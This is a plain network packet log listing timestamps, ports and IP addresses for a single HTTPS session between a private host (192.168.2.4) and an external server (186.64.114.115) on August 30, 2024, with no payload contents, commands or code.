Aug 30, 2024 18:13:40.575000048 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.575081110 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:40.814555883 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.814568996 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.814646959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:40.933311939 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:40.933414936 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:41.407289028 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:41.407301903 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:41.407385111 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:41.730498075 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:41.730509043 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:41.730690956 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:41.924743891 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:41.924820900 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:42.164861917 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.164872885 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.165061951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:42.283411026 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.283607960 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:42.520104885 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.520117998 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.520206928 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:42.642143011 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.642211914 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:42.758960962 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:42.759064913 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.114459038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.114478111 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.114672899 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.114784956 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.114855051 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.247467995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.247555971 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.403094053 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.403172016 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.521665096 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.521858931 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.640474081 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.640574932 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.777863979 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.777945995 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.896152020 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.896245956 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:43.964999914 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:43.965105057 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.084455013 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.084750891 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.202852964 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.203141928 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.276896954 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.277046919 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.321552038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.321830034 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.439459085 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.439536095 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.513274908 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.513381004 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.619297028 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.619504929 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.680062056 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.680341959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.738725901 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.738862038 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.798594952 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.798691988 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.868895054 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.869036913 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.916914940 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.917026997 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:44.997628927 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:44.997706890 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.035938025 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.036005020 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.154071093 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.154165983 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.154274940 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.154335976 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.234822035 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.235027075 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.272592068 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.272773027 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.353574038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.353669882 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.578073025 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.578084946 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.578145027 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.755014896 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.755134106 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.755259991 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.755326986 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.755672932 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.755759954 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.755963087 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.756027937 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.873220921 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.873353004 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.873487949 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.873554945 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.991858959 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.992120028 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:45.992156982 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:45.992221117 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.111392975 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.111680984 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.330764055 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.330779076 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.330909014 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.348134995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.348242044 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.348413944 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.348478079 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.450336933 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.450541019 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.466744900 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.466835976 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.585010052 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.585205078 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.585386038 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.585458994 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.705328941 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.705431938 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.804871082 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.805136919 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.823484898 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.823625088 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.923346996 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.923477888 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:46.941785097 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:46.941936016 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.070997953 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.074958086 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.121857882 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.122042894 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.190063000 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.190169096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.240394115 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.240567923 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.307818890 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.308043003 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.358618975 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.358701944 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.399931908 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.400055885 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.426809072 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.426914930 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.518619061 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.518697023 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.545363903 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.545511961 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.756356955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.756369114 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.756412983 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.756520987 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.756552935 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.756612062 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.756634951 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.756717920 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.756789923 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.951446056 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.951581001 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:47.951617002 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:47.951689959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.069730997 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.072947025 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.188091040 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.188175917 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.306478977 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.306684017 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.350043058 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.350230932 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.468400955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.468494892 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.543750048 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.543817997 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.586636066 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.586826086 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.704730034 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.704812050 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.780249119 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.780320883 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.823657990 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.823740959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.941663980 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.941749096 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:48.941829920 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:48.941890001 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.402770996 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.402782917 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.402889013 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.402977943 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.403044939 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.403357029 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.403425932 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.403636932 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.403701067 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.522708893 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.522965908 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.641318083 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.641393900 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.672235966 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.672308922 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.763353109 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.763441086 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.899410963 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.899610996 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:49.910254955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:49.910346031 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.017915010 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.018069029 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.028692961 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.028912067 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.136928082 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.137042999 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.373527050 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.373538971 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.373660088 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.384556055 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.384660006 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.384897947 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.384955883 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.492161989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.492305040 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.504307032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.504429102 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.740432978 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.740447998 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.740577936 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:50.740662098 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:50.740762949 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:51.028012991 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.028028965 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.028183937 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:51.028218031 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.028325081 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:51.313726902 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.313740969 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.313918114 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:51.383904934 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.383971930 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:51.833709955 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.833729982 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:51.833874941 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.112622023 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.112634897 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.112793922 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.240309000 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.240452051 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.476922989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.476937056 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.477273941 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.595701933 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.595794916 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.714072943 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.714231968 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.832782030 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.832947969 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:52.954962015 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:52.955070019 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.070101976 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.070193052 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.188554049 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.188647032 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.307260036 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.307404995 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.545519114 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.545530081 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.545594931 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.942496061 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.942506075 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.942651987 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.949853897 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.949961901 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:53.950026989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:53.950114965 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:54.150106907 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.150263071 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:54.268600941 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.268810987 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:54.506179094 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.506189108 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.506359100 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:54.743829966 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.743843079 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.743944883 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:54.744230032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.744323969 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:54.981208086 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.981219053 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:54.981291056 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.218573093 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.218585014 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.218683958 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.218831062 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.218898058 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.455555916 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.455565929 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.455785036 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.575428009 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.575527906 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.692804098 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.693054914 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.971105099 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.971120119 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.971318960 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.971333027 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.971352100 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:55.971396923 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:55.971411943 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:56.145431042 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:56.145522118 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:56.681704998 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:56.681716919 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:56.681777000 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:56.681802034 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:56.682058096 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:56.682145119 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:56.919168949 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:56.919182062 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:56.919250965 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:56.919277906 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:57.239444971 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:57.239456892 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:57.239521980 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:57.992765903 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:57.992778063 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:57.992954016 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:57.992988110 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:57.993005991 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:57.993031979 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:57.993050098 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:58.277940035 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:58.277951956 CEST	443	49734	186.64.114.115	192.168.2.4
